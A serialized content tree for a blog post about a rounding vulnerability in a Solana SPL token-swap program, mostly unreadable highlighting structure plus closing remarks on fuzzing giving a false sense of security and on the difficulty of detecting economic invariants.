type":28,"value":296},{"type":23,"tag":134,"props":2391,"children":2392},{"style":168},[2393],{"type":28,"value":301},{"type":23,"tag":134,"props":2395,"children":2396},{"style":264},[2397],{"type":28,"value":406},{"type":23,"tag":134,"props":2399,"children":2400},{"style":179},[2401],{"type":28,"value":272},{"type":23,"tag":134,"props":2403,"children":2404},{"style":162},[2405],{"type":28,"value":415},{"type":23,"tag":134,"props":2407,"children":2408},{"style":179},[2409],{"type":28,"value":296},{"type":23,"tag":134,"props":2411,"children":2412},{"style":168},[2413],{"type":28,"value":324},{"type":23,"tag":134,"props":2415,"children":2416},{"style":179},[2417],{"type":28,"value":296},{"type":23,"tag":134,"props":2419,"children":2420},{"style":168},[2421],{"type":28,"value":324},{"type":23,"tag":134,"props":2423,"children":2424},{"style":179},[2425],{"type":28,"value":182},{"type":23,"tag":134,"props":2427,"children":2428},{"class":136,"line":527},[2429,2433,2437,2441,2445,2449],{"type":23,"tag":134,"props":2430,"children":2431},{"style":168},[2432],{"type":28,"value":1586},{"type":23,"tag":134,"props":2434,"children":2435},{"style":189},[2436],{"type":28,"value":444},{"type":23,"tag":134,"props":2438,"children":2439},{"style":162},[2440],{"type":28,"value":449},{"type":23,"tag":134,"props":2442,"children":2443},{"style":168},[2444],{"type":28,"value":454},{"type":23,"tag":134,"props":2446,"children":2447},{"style":162},[2448],{"type":28,"value":165},{"type":23,"tag":134,"props":2450,"children":2451},{"style":179},[2452],{"type":28,"value":463},{"type":23,"tag":134,"props":2454,"children":2455},{"class":136,"line":780},[2456,2461],{"type":23,"tag":134,"props":2457,"children":2458},{"style":189},[2459],{"type":28,"value":2460},"             break",{"type":23,"tag":134,"props":2462,"children":2463},{"style":179},[2464],{"type":28,"value":182},{"type":23,"tag":134,"props":2466,"children":2467},{"class":136,"line":797},[2468,2472,2476,2480],{"type":23,"tag":134,"props":2469,"children":2470},{"style":168},[2471],{"type":28,"value":1586},{"type":23,"tag":134,"props":2473,"children":2474},{"style":179},[2475],{"type":28,"value":485},{"type":23,"tag":134,"props":2477,"children":2478},{"style":189},[2479],{"type":28,"value":490},{"type":23,"tag":134,"props":2481,"children":2482},{"style":179},[2483],{"type":28,"value":463},{"type":23,"tag":134,"props":2485,"children":2486},{"class":136,"line":814},[2487,2491,2495,2499,2503],{"type":23,"tag":134,"props":2488,"children":2489},{"style":168},[2490],{"type":28,"value":1586},{"type":23,"tag":134,"props":2492,"children":2493},{"style":162},[2494],{"type":28,"value":503},{"type":23,"tag":134,"props":2496,"children":2497},{"style":168},[2498],{"type":28,"value":171},{"type":23,"tag":134,"props":2500,"children":2501},{"style":162},[2502],{"type":28,"value":449},{"type":23,"tag":134,"props":2504,"children":2505},{"style":179},[2506],{"type":28,"value":182},{"type":23,"tag":134,"props":2508,"children":2509},{"class":136,"line":827},[2510],{"type":23,"tag":134,"props":2511,"children":2512},{"style":179},[2513],{"type":28,"value":2514},"         }\n",{"type":23,"tag":61,"props":2516,"children":2518},{"id":2517},"closing-thoughts",[2519],{"type":28,"value":2520},"Closing Thoughts",{"type":23,"tag":24,"props":2522,"children":2523},{},[2524],{"type":28,"value":2525},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":24,"props":2527,"children":2528},{},[2529,2531,2537],{"type":28,"value":2530},"Another interesting takeaway is that ",{"type":23,"tag":2532,"props":2533,"children":2534},"strong",{},[2535],{"type":28,"value":2536},"fuzzing can give a false sense of security",{"type":28,"value":2538},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":24,"props":2540,"children":2541},{},[2542,2544,2551],{"type":28,"value":2543},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":31,"props":2545,"children":2548},{"href":2546,"rel":2547},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[35],[2549],{"type":28,"value":2550},"port-mortem of the NSS overflow",{"type":28,"value":720},{"type":23,"tag":24,"props":2553,"children":2554},{},[2555],{"type":23,"tag":1116,"props":2556,"children":2558},{"alt":7,"src":2557},"/posts/spl-swap/p0.png",[],{"type":23,"tag":24,"props":2560,"children":2561},{},[2562],{"type":28,"value":2563},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":24,"props":2565,"children":2566},{},[2567],{"type":28,"value":2568},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":24,"props":2570,"children":2571},{},[2572],{"type":28,"value":2573},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":2575,"props":2576,"children":2577},"style",{},[2578],{"type":28,"value":2579},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":147,"depth":147,"links":2581},[2582,2583,2584,2585],{"id":63,"depth":147,"text":66},{"id":1122,"depth":147,"text":1125},{"id":1429,"depth":147,"text":1432},{"id":2517,"depth":147,"text":2520},"markdown","content:blog:2022-04-26-spl-swap-rounding.md","content","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding","md",[2593,4832,5171,8722,13083,18220,28495,29927,30690,34919,39946,45378,46535,50026,60421,67150,68989,70699,75364,89263,91984,96773,99213,101558,107344,123164,131464,141388,146666,156059,158396],{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"image":2594,"date":14,"isFeatured":15,"tags":2595,"onBlogPage":15,"body":2596,"_type":2586,"_id":2587,"_source":2588,"_file":2589,"_stem":2590,"_extension":2591},{"src":11,"width":12,"height":13},[17,18],{"type":20,"children":2597,"toc":4826},[2598,2608,2612,2616,2623,2627,2631,2635,2642,2649,2653,2657,2664,2668,2672,3011,3019,3023,3503,3507,3514,3520,3524,3528,3532,3536,3542,3551,3555,3564,3761,3765,3769,3773,3777,3781,3818,3822,3829,3833,3837,3841,3980,3990,4090,4100,4107,4117,4124,4134,4138,4147,4154,4170,4777,4781,4785,4794,4804,4810,4814,4818,4822],{"type":23,"tag":24,"props":2599,"children":2600},{},[2601,2602,2607],{"type":28,"value":29},{"type":23,"tag":31,"props":2603,"children":2605},{"href":33,"rel":2604},[35],[2606],{"type":28,"value":38},{"type":28,"value":40},{"type":23,"tag":24,"props":2609,"children":2610},{},[2611],{"type":28,"value":45},{"type":23,"tag":24,"props":2613,"children":2614},{},[2615],{"type":28,"value":50},{"type":23,"tag":24,"props":2617,"children":2618},{},[2619],{"type":23,"tag":55,"props":2620,"children":2621},{},[2622],{"type":28,"value":59},{"type":23,"tag":61,"props":2624,"children":2625},{"id":63},[2626],{"type":28,"value":66},{"type":23,"tag":24,"props":2628,"children":2629},{},[2630],{"type":28,"value":71},{"type":23,"tag":24,"props":2632,"children":2633},{},[2634],{"type":28,"value":76},{"type":23,"tag":78,"props":2636,"children":2637},{},[2638],{"type":23,"tag":24,"props":2639,"children":2640},{},[2641],{"type":28,"value":85},{"type":23,"tag":87,"props":2643,"children":2644},{"code":89},[2645],{"type":23,"tag":92,"props":2646,"children":2647},{"__ignoreMap":7},[2648],{"type":28,"value":89},{"type":23,"tag":24,"props":2650,"children":2651},{},[2652],{"type":28,"value":100},{"type":23,"tag":24,"props":2654,"children":2655},{},[2656],{"type":28,"value":105},{"type":23,"tag":87,"props":2658,"children":2659},{"code":108},[2660],{"type":23,"tag":92,"props":2661,"children":2662},{"__ignoreMap":7},[2663],{"type":28,"value":108},{"type":23,"tag":24,"props":2665,"children":2666},{},[2667],{"type":28,"value":118},{"type":23,"tag":24,"props":2669,"children":2670},{},[2671],{"type":28,"value":123},{"type":23,"tag":87,"props":2673,"children":2674},{"code":126,"language":127,"meta":7,"className":128,"style":7},[2675],{"type":23,"tag":92,"props":2676,"children":2677},{"__ignoreMap":7},[2678,2685,2712,2739,2830,2929,2952,2963,2978,2997,3004],{"type":23,"tag":134,"props":2679,"children":2680},{"class":136,"line":137},[2681],{"type":23,"tag":134,"props":2682,"children":2683},{"style":141},[2684],{"type":28,"value":144},{"type":23,"tag":134,"props":2686,"children":2687},{"class":136,"line":147},[2688,2692,2696,2700,2704,2708],{"type":23,"tag":134,"props":2689,"children":2690},{"style":151},[2691],{"type":28,"value":154},{"type":23,"tag":134,"props":2693,"children":2694},{"style":151},[2695],{"type":28,"value":159},{"type":23,"tag":134,"props":2697,"children":2698},{"style":162},[2699],{"type":28,"value":165},{"type":23,"tag":134,"props":2701,"children":2702},{"style":168},[2703],{"type":28,"value":171},{"type":23,"tag":134,"props":2705,"children":2706},{"style":162},[2707],{"type":28,"value":176},{"type":23,"tag":134,"props":2709,"children":2710},{"style":179},[2711],{"type":28,"value":182},{"type":23,"tag":134,"props":2713,"children":2714},{"class":136,"line":185},[2715,2719,2723,2727,2731,2735],{"type":23,"tag":134,"props":2716,"children":2717},{"style":189},[2718],{"type":28,"value":192},{"type":23,"tag":134,"props":2720,"children":2721},{"style":162},[2722],{"type":28,"value":197},{"type":23,"tag":134,"props":2724,"children":2725},{"style":151},[2726],{"type":28,"value":202},{"type":23,"tag":134,"props":2728,"children":2729},{"style":205},[2730],{"type":28,"value":208},{"type":23,"tag":134,"props":2732,"children":2733},{"style":168},[2734],{"type":28,"value":213},{"type":23,"tag":134,"props":2736,"children":2737},{"style":179},[2738],{"type":28,"value":218},{"type":23,"tag":134,"props":2740,"children":2741},{"class":136,"line":221},[2742,2746,2750,2754,2758,2762,2766,2770,2774,2778,2782,2786,2790,2794,2798,2802,2806,2810,2814,2818,2822,2826],{"type":23,"tag":134,"props":2743,"children":2744},{"style":151},[2745],{"type":28,"value":227},{"type":23,"tag":134,"props":2747,"children":2748},{"style":179},[2749],{"type":28,"value":232},{"type":23,"tag":134,"props":2751,"children":2752},{"style":162},[2753],{"type":28,"value":237},{"type":23,"tag":134,"props":2755,"children":2756},{"style":179},[2757],{"type":28,"value":242},{"type":23,"tag":134,"props":2759,"children":2760},{"style":162},[2761],{"type":28,"value":247},{"type":23,"tag":134,"props":2763,"children":2764},{"style":179},[2765],{"type":28,"value":252},{"type":23,"tag":134,"props":2767,"children":2768},{"style":168},[2769],{"type":28,"value":257},{"type":23,"tag":134,"props":2771,"children":2772},{"style":179},[2773],{"type":28,"value":232},{"type":23,"tag":134,"props":2775,"children":2776},{"style":264},[2777],{"type":28,"value":267},{"type":23,"tag":134,"props":2779,"children":2780},{"style":179},[2781],{"type":28,"value":272},{"type":23,"tag":134,"props":2783,"children":2784},{"style":168},[2785],{"type":28,"value":277},{"type":23,"tag":134,"props":2787,"children":2788},{"style":162},[2789],{"type":28,"value":282},{"type":23,"tag":134,"props":2791,"children":2792},{"style":179},[2793],{"type":28,"value":242},{"type":23,"tag":134,"props":2795,"children":2796},{"style":205},[2797],{"type":28,"value":291},{"type":23,"tag":134,"props":2799,"children":2800},{"style":179},[2801],{"type":28,"value":296},{"type":23,"tag":134,"props":2803,"children":2804},{"style":168},[2805],{"type":28,"value":301},{"type":23,"tag":134,"props":2807,"children":2808},{"style":264},[2809],{"type":28,"value":306},{"type":23,"tag":134,"props":2811,"children":2812},{"style":179},[2813],{"type":28,"value":272},{"type":23,"tag":134,"props":2815,"children":2816},{"style":162},[2817],{"type":28,"value":315},{"type":23,"tag":134,"props":2819,"children":2820},{"style":179},[2821],{"type":28,"value":296},{"type":23,"tag":134,"props":2823,"children":2824},{"style":168},[2825],{"type":28,"value":324},{"type":23,"tag":134,"props":2827,"children":2828},{"style":179},[2829],{"type":28,"value":329},{"type":23,"tag":134,"props":2831,"children":2832},{"class":136,"line":332},[2833,2837,2841,2845,2849,2853,2857,2861,2865,2869,2873,2877,2881,2885,2889,2893,2897,2901,2905,2909,2913,2917,2921,2925],{"type":23,"tag":134,"props":2834,"children":2835},{"style":168},[2836],{"type":28,"value":338},{"type":23,"tag":134,"props":2838,"children":2839},{"style":264},[2840],{"type":28,"value":343},{"type":23,"tag":134,"props":2842,"children":2843},{"style":179},[2844],{"type":28,"value":272},{"type":23,"tag":134,"props":2846,"children":2847},{"style":264},[2848],{"type":28,"value":352},{"type":23,"tag":134,"props":2850,"children":2851},{"style":179},[2852],{"type":28,"value":272},{"type":23,"tag":134,"props":2854,"children":2855},{"style":168},[2856],{"type":28,"value":277},{"type":23,"tag":134,"props":2858,"children":2859},{"style":162},[2860],{"type":28,"value":282},{"type":23,"tag":134,"props":2862,"children":2863},{"style":179},[2864],{"type":28,"value":242},{"type":23,"tag":134,"props":2866,"children":2867},{"style":205},[2868],{"type":28,"value":291},{"type":23,"tag":134,"props":2870,"children":2871},{"style":179},[2872],{"type":28,"value":296},{"type":23,"tag":134,"props":2874,"children":2875},{"style":168},[2876],{"type":28,"value":301},{"type":23,"tag":134,"props":2878,"children":2879},{"style":264},[2880],{"type":28,"value":306},{"type":23,"tag":134,"props":2882,"children":2883},{"style":179},[2884],{"type":28,"value":272},{"type":23,"tag":134,"props":2886,"children":2887},{"style":162},[2888],{"type":28,"value":393},{"type":23,"tag":134,"props":2890,"children":2891},{"style":179},[2892],{"type":28,"value":296},{"type":23,"tag":134,"props":2894,"children":2895},{"style":168},[2896],{"type":28,"value":301},{"type":23,"tag":134,"props":2898,"children":2899},{"style":264},[2900],{"type":28,"value":406},{"type":23,"tag":134,"props":2902,"children":2903},{"style":179},[2904],{"type":28,"value":272},{"type":23,"tag":134,"props":2906,"children":2907},{"style":162},[2908],{"type":28,"value":415},{"type":23,"tag":134,"props":2910,"children":2911},{"style":179},[2912],{"type":28,"value":296},{"type":23,"tag":134,"props":2914,"children":2915},{"style":168},[2916],{"type":28,"value":324},{"type":23,"tag":134,"props":2918,"children":2919},{"style":179},[2920],{"type":28,"value":296},{"type":23,"tag":134,"props":2922,"children":2923},{"style":168},[2924],{"type":28,"value":324},{"type":23,"tag":134,"props":2926,"children":2927},{"style":179},[2928],{"type":28,"value":182},{"type":23,"tag":134,"props":2930,"children":2931},{"class":136,"line":438},[2932,2936,2940,2944,2948],{"type":23,"tag":134,"props":2933,"children":2934},{"style":189},[2935],{"type":28,"value":444},{"type":23,"tag":134,"props":2937,"children":2938},{"style":162},[2939],{"type":28,"value":449},{"type":23,"tag":134,"props":2941,"children":2942},{"style":168},[2943],{"type":28,"value":454},{"type":23,"tag":134,"props":2945,"children":2946},{"style":162},[2947],{"type":28,"value":165},{"type":23,"tag":134,"props":2949,"children":2950},{"style":179},[2951],{"type":28,"value":463},{"type":23,"tag":134,"props":2953,"children":2954},{"class":136,"line":466},[2955,2959],{"type":23,"tag":134,"props":2956,"children":2957},{"style":189},[2958],{"type":28,"value":472},{"type":23,"tag":134,"props":2960,"children":2961},{"style":179},[2962],{"type":28,"value":182},{"type":23,"tag":134,"props":2964,"children":2965},{"class":136,"line":479},[2966,2970,2974],{"type":23,"tag":134,"props":2967,"children":2968},{"style":179},[2969],{"type":28,"value":485},{"type":23,"tag":134,"props":2971,"children":2972},{"style":189},[2973],{"type":28,"value":490},{"type":23,"tag":134,"props":2975,"children":2976},{"style":179},[2977],{"type":28,"value":463},{"type":23,"tag":134,"props":2979,"children":2980},{"class":136,"line":497},[2981,2985,2989,2993],{"type":23,"tag":134,"props":2982,"children":2983},{"style":162},[2984],{"type":28,"value":503},{"type":23,"tag":134,"props":2986,"children":2987},{"style":168},[2988],{"type":28,"value":171},{"type":23,"tag":134,"props":2990,"children":2991},{"style":162},[2992],{"type":28,"value":449},{"type":23,"tag":134,"props":2994,"children":2995},{"style":179},[2996],{"type":28,"value":182},{"type":23,"tag":134,"props":2998,"children":2999},{"class":136,"line":518},[3000],{"type":23,"tag":134,"props":3001,"children":3002},{"style":179},[3003],{"type":28,"value":524},{"type":23,"tag":134,"props":3005,"children":3006},{"class":136,"line":527},[3007],{"type":23,"tag":134,"props":3008,"children":3009},{"style":179},[3010],{"type":28,"value":533},{"type":23,"tag":24,"props":3012,"children":3013},{},[3014,3018],{"type":23,"tag":55,"props":3015,"children":3016},{},[3017],{"type":28,"value":541},{"type":28,"value":543},{"type":23,"tag":24,"props":3020,"children":3021},{},[3022],{"type":28,"value":548},{"type":23,"tag":87,"props":3024,"children":3025},{"code":551,"language":127,"meta":7,"className":128,"style":7},[3026],{"type":23,"tag":92,"props":3027,"children":3028},{"__ignoreMap":7},[3029,3036,3071,3078,3105,3128,3143,3158,3181,3196,3211,3226,3241,3256,3267,3274,3293,3300,3307,3366,3373,3400,3407,3434,3441,3496],{"type":23,"tag":134,"props":3030,"children":3031},{"class":136,"line":137},[3032],{"type":23,"tag":134,"props":3033,"children":3034},{"style":141},[3035],{"type":28,"value":563},{"type":23,"tag":134,"props":3037,"children":3038},{"class":136,"line":147},[3039,3043,3047,3051,3055,3059,3063,3067],{"type":23,"tag":134,"props":3040,"children":3041},{"style":189},[3042],{"type":28,"value":571},{"type":23,"tag":134,"props":3044,"children":3045},{"style":162},[3046],{"type":28,"value":576},{"type":23,"tag":134,"props":3048,"children":3049},{"style":151},[3050],{"type":28,"value":202},{"type":23,"tag":134,"props":3052,"children":3053},{"style":205},[3054],{"type":28,"value":208},{"type":23,"tag":134,"props":3056,"children":3057},{"style":168},[3058],{"type":28,"value":589},{"type":23,"tag":134,"props":3060,"children":3061},{"style":205},[3062],{"type":28,"value":594},{"type":23,"tag":134,"props":3064,"children":3065},{"style":597},[3066],{"type":28,"value":600},{"type":23,"tag":134,"props":3068,"children":3069},{"style":179},[3070],{"type":28,"value":463},{"type":23,"tag":134,"props":3072,"children":3073},{"class":136,"line":185},[3074],{"type":23,"tag":134,"props":3075,"children":3076},{"style":141},[3077],{"type":28,"value":612},{"type":23,"tag":134,"props":3079,"children":3080},{"class":136,"line":221},[3081,3085,3089,3093,3097,3101],{"type":23,"tag":134,"props":3082,"children":3083},{"style":151},[3084],{"type":28,"value":154},{"type":23,"tag":134,"props":3086,"children":3087},{"style":151},[3088],{"type":28,"value":159},{"type":23,"tag":134,"props":3090,"children":3091},{"style":162},[3092],{"type":28,"value":628},{"type":23,"tag":134,"props":3094,"children":3095},{"style":168},[3096],{"type":28,"value":171},{"type":23,"tag":134,"props":3098,"children":3099},{"style":264},[3100],{"type":28,"value":637},{"type":23,"tag":134,"props":3102,"children":3103},{"style":179},[3104],{"type":28,"value":642},{"type":23,"tag":134,"props":3106,"children":3107},{"class":136,"line":332},[3108,3112,3116,3120,3124],{"type":23,"tag":134,"props":3109,"children":3110},{"style":168},[3111],{"type":28,"value":650},{"type":23,"tag":134,"props":3113,"children":3114},{"style":179},[3115],{"type":28,"value":655},{"type":23,"tag":134,"props":3117,"children":3118},{"style":168},[3119],{"type":28,"value":660},{"type":23,"tag":134,"props":3121,"children":3122},{"style":264},[3123],{"type":28,"value":665},{"type":23,"tag":134,"props":3125,"children":3126},{"style":179},[3127],{"type":28,"value":670},{"type":23,"tag":134,"props":3129,"children":3130},{"class":136,"line":438},[3131,3135,3139],{"type":23,"tag":134,"props":3132,"children":3133},{"style":168},[3134],{"type":28,"value":650},{"type":23,"tag":134,"props":3136,"children":3137},{"style":162},[3138],{"type":28,"value":682},{"type":23,"tag":134,"props":3140,"children":3141},{"style":179},[3142],{"type":28,"value":687},{"type":23,"tag":134,"props":3144,"children":3145},{"class":136,"line":466},[3146,3150,3154],{"type":23,"tag":134,"props":3147,"children":3148},{"style":168},[3149],{"type":28,"value":650},{"type":23,"tag":134,"props":3151,"children":3152},{"style":162},[3153],{"type":28,"value":699},{"type":23,"tag":134,"props":3155,"children":3156},{"style":179},[3157],{"type":28,"value":687},{"type":23,"tag":134,"props":3159,"children":3160},{"class":136,"line":479},[3161,3165,3169,3173,3177],{"type":23,"tag":134,"props":3162,"children":3163},{"style":168},[3164],{"type":28,"value":650},{"type":23,"tag":134,"props":3166,"children":3167},{"style":162},[3168],{"type":28,"value":715},{"type":23,"tag":134,"props":3170,"children":3171},{"style":168},[3172],{"type":28,"value":720},{"type":23,"tag":134,"props":3174,"children":3175},{"style":264},[3176],{"type":28,"value":725},{"type":23,"tag":134,"props":3178,"children":3179},{"style":179},[3180],{"type":28,"value":670},{"type":23,"tag":134,"props":3182,"children":3183},{"class":136,"line":497},[3184,3188,3192],{"type":23,"tag":134,"props":3185,"children":3186},{"style":168},[3187],{"type":28,"value":650},{"type":23,"tag":134,"props":3189,"children":3190},{"style":162},[3191],{"type":28,"value":741},{"type":23,"tag":134,"props":3193,"children":3194},{"style":179},[3195],{"type":28,"value":687},{"type":23,"tag":134,"props":3197,"children":3198},{"class":136,"line":518},[3199,3203,3207],{"type":23,"tag":134,"props":3200,"children":3201},{"style":168},[3202],{"type":28,"value":650},{"type":23,"tag":134,"props":3204,"children":3205},{"style":162},[3206],{"type":28,"value":757},{"type":23,"tag":134,"props":3208,"children":3209},{"style":179},[3210],{"type":28,"value":687},{"type":23,"tag":134,"props":3212,"children":3213},{"class":136,"line":527},[3214,3218,3222],{"type":23,"tag":134,"props":3215,"children":3216},{"style":168},[3217],{"type":28,"value":650},{"type":23,"tag":134,"props":3219,"children":3220},{"style":162},[3221],{"type":28,"value":773},{"type":23,"tag":134,"props":3223,"children":3224},{"style":179},[3225],{"type":28,"value":687},{"type":23,"tag":134,"props":3227,"children":3228},{"class":136,"line":780},[3229,3233,3237],{"type":23,"tag":134,"props":3230,"children":3231},{"style":168},[3232],{"type":28,"value":650},{"type":23,"tag":134,"props":3234,"children":3235},{"style":162},[3236],{"type":28,"value":790},{"type":23,"tag":134,"props":3238,"children":3239},{"style":179},[3240],{"type":28,"value":687},{"type":23,"tag":134,"props":3242,"children":3243},{"class":136,"line":797},[3244,3248,3252],{"type":23,"tag":134,"props":3245,"children":3246},{"style":168},[3247],{"type":28,"value":650},{"type":23,"tag":134,"props":3249,"children":3250},{"style":162},[3251],{"type":28,"value":807},{"type":23,"tag":134,"props":3253,"children":3254},{"style":179},[3255],{"type":28,"value":687},{"type":23,"tag":134,"props":3257,"children":3258},{"class":136,"line":814},[3259,3263],{"type":23,"tag":134,"props":3260,"children":3261},{"style":205},[3262],{"type":28,"value":820},{"type":23,"tag":134,"props":3264,"children":3265},{"style":179},[3266],{"type":28,"value":687},{"type":23,"tag":134,"props":3268,"children":3269},{"class":136,"line":827},[3270],{"type":23,"tag":134,"props":3271,"children":3272},{"style":205},[3273],{"type":28,"value":833},{"type":23,"tag":134,"props":3275,"children":3276},{"class":136,"line":836},[3277,3281,3285,3289],{"type":23,"tag":134,"props":3278,"children":3279},{"style":179},[3280],{"type":28,"value":842},{"type":23,"tag":134,"props":3282,"children":3283},{"style":168},[3284],{"type":28,"value":720},{"type":23,"tag":134,"props":3286,"children":3287},{"style":264},[3288],{"type":28,"value":851},{"type":23,"tag":134,"props":3290,"children":3291},{"style":179},[3292],{"type":28,"value":856},{"type":23,"tag":134,"props":3294,"children":3295},{"class":136,"line":859},[3296],{"type":23,"tag":134,"props":3297,"children":3298},{"emptyLinePlaceholder":15},[3299],{"type":28,"value":865},{"type":23,"tag":134,"props":3301,"children":3302},{"class":136,"line":868},[3303],{"type":23,"tag":134,"props":3304,"children":3305},{"style":141},[3306],{"type":28,"value":874},{"type":23,"tag":134,"props":3308,"children":3309},{"class":136,"line":877},[3310,3314,3318,3322,3326,3330,3334,3338,3342,3346,3350,3354,3358,3362],{"type":23,"tag":134,"props":3311,"children":3312},{"style":162},[3313],{"type":28,"value":883},{"type":23,"tag":134,"props":3315,"children":3316},{"style":168},[3317],{"type":28,"value":720},{"type":23,"tag":134,"props":3319,"children":3320},{"style":179},[3321],{"type":28,"value":892},{"type":23,"tag":134,"props":3323,"children":3324},{"style":168},[3325],{"type":28,"value":720},{"type":23,"tag":134,"props":3327,"children":3328},{"style":264},[3329],{"type":28,"value":901},{"type":23,"tag":134,"props":3331,"children":3332},{"style":179},[3333],{"type":28,"value":272},{"type":23,"tag":134,"props":3335,"children":3336},{"style":168},[3337],{"type":28,"value":277},{"type":23,"tag":134,"props":3339,"children":3340},{"style":151},[3341],{"type":28,"value":914},{"type":23,"tag":134,"props":3343,"children":3344},{"style":264},[3345],{"type":28,"value":919},{"type":23,"tag":134,"props":3347,"children":3348},{"style":179},[3349],{"type":28,"value":924},{"type":23,"tag":134,"props":3351,"children":3352},{"style":162},[3353],{"type":28,"value":929},{"type":23,"tag":134,"props":3355,"children":3356},{"style":179},[3357],{"type":28,"value":242},{"type":23,"tag":134,"props":3359,"children":3360},{"style":162},[3361],{"type":28,"value":938},{"type":23,"tag":134,"props":3363,"children":3364},{"style":179},[3365],{"type":28,"value":943},{"type":23,"tag":134,"props":3367,"children":3368},{"class":136,"line":946},[3369],{"type":23,"tag":134,"props":3370,"children":3371},{"emptyLinePlaceholder":15},[3372],{"type":28,"value":865},{"type":23,"tag":134,"props":3374,"children":3375},{"class":136,"line":954},[3376,3380,3384,3388,3392,3396],{"type":23,"tag":134,"props":3377,"children":3378},{"style":151},[3379],{"type":28,"value":154},{"type":23,"tag":134,"props":3381,"children":3382},{"style":151},[3383],{"type":28,"value":159},{"type":23,"tag":134,"props":3385,"children":3386},{"style":162},[3387],{"type":28,"value":968},{"type":23,"tag":134,"props":3389,"children":3390},{"style":168},[3391],{"type":28,"value":171},{"type":23,"tag":134,"props":3393,"children":3394},{"style":264},[3395],{"type":28,"value":919},{"type":23,"tag":134,"props":3397,"children":3398},{"style":179},[3399],{"type":28,"value":981},{"type":23,"tag":134,"props":3401,"children":3402},{"class":136,"line":984},[3403],{"type":23,"tag":134,"props":3404,"children":3405},{"emptyLinePlaceholder":15},[3406],{"type":28,"value":865},{"type":23,"tag":134,"props":3408,"children":3409},{"class":136,"line":992},[3410,3414,3418,3422,3426,3430],{"type":23,"tag":134,"props":3411,"children":3412},{"style":162},[3413],{"type":28,"value":998},{"type":23,"tag":134,"props":3415,"children":3416},{"style":168},[3417],{"type":28,"value":720},{"type":23,"tag":134,"props":3419,"children":3420},{"style":264},[3421],{"type":28,"value":1007},{"type":23,"tag":134,"props":3423,"children":3424},{"style":179},[3425],{"type":28,"value":272},{"type":23,"tag":134,"props":3427,"children":3428},{"style":162},[3429],{"type":28,"value":1016},{"type":23,"tag":134,"props":3431,"children":3432},{"style":179},[3433],{"type":28,"value":1021},{"type":23,"tag":134,"props":3435,"children":3436},{"class":136,"line":1024},[3437],{"type":23,"tag":134,"props":3438,"children":3439},{"emptyLinePlaceholder":15},[3440],{"type":28,"value":865},{"type":23,"tag":134,"props":3442,"children":3443},{"class":136,"line":1032},[3444,3448,3452,3456,3460,3464,3468,3472,3476,3480,3484,3488,3492],{"type":23,"tag":134,"props":3445,"children":3446},{"style":162},[3447],{"type":28,"value":1038},{"type":23,"tag":134,"props":3449,"children":3450},{"style":168},[3451],{"type":28,"value":720},{"type":23,"tag":134,"props":3453,"children":3454},{"style":264},[3455],{"type":28,"value":1047},{"type":23,"tag":134,"props":3457,"children":3458},{"style":179},[3459],{"type":28,"value":272},{"type":23,"tag":134,"props":3461,"children":3462},{"style":168},[3463],{"type":28,"value":277},{"type":23,"tag":134,"props":3465,"children":3466},{"style":162},[3467],{"type":28,"value":1060},{"type":23,"tag":134,"props":3469,"children":3470},{"style":179},[3471],{"type":28,"value":242},{"type":23,"tag":134,"props":3473,"children":3474},{"style":168},[3475],{"type":28,"value":277},{"type":23,"tag":134,"props":3477,"children":3478},{"style":264},[3479],{"type":28,"value":1073},{"type":23,"tag":134,"props":3481,"children":3482},{"style":179},[3483],{"type":28,"value":924},{"type":23,"tag":134,"props":3485,"children":3486},{"style":168},[3487],{"type":28,"value":277},{"type":23,"tag":134,"props":3489,"children":3490},{"style":162},[3491],{"type":28,"value":715},{"type":23,"tag":134,"props":3493,"children":3494},{"style":179},[3495],{"type":28,"value":943},{"type":23,"tag":134,"props":3497,"children":3498},{"class":136,"line":1092},[3499],{"type":23,"tag":134,"props":3500,"children":3501},{"style":179},[3502],{"type":28,"value":1098},{"type":23,"tag":24,"props":3504,"children":3505},{},[3506],{"type":28,"value":1103},{"type":23,"tag":78,"props":3508,"children":3509},{},[3510],{"type":23,"tag":24,"props":3511,"children":3512},{},[3513],{"type":28,"value":1111},{"type":23,"tag":24,"props":3515,"children":3516},{},[3517],{"type":23,"tag":1116,"props":3518,"children":3519},{"alt":7,"src":1118},[],{"type":23,"tag":61,"props":3521,"children":3522},{"id":1122},[3523],{"type":28,"value":1125},{"type":23,"tag":24,"props":3525,"children":3526},{},[3527],{"type":28,"value":1130},{"type":23,"tag":24,"props":3529,"children":3530},{},[3531],{"type":28,"value":1135},{"type":23,"tag":24,"props":3533,"children":3534},{},[3535],{"type":28,"value":1140},{"type":23,"tag":24,"props":3537,"children":3538},{},[3539],{"type":23,"tag":1116,"props":3540,"children":3541},{"alt":7,"src":1146},[],{"type":23,"tag":24,"props":3543,"children":3544},{},[3545,3546,3550],{"type":28,"value":1152},{"type":23,"tag":55,"props":3547,"children":3548},{},[3549],{"type":28,"value":1157},{"type":28,"value":1159},{"type":23,"tag":24,"props":3552,"children":3553},{},[3554],{"type":28,"value":1164},{"type":23,"tag":24,"props":3556,"children":3557},{},[3558,3559,3563],{"type":28,"value":1169},{"type":23,"tag":55,"props":3560,"children":3561},{},[3562],{"type":28,"value":1174},{"type":28,"value":1176},{"type":23,"tag":24,"props":3565,"children":3566},{},[3567],{"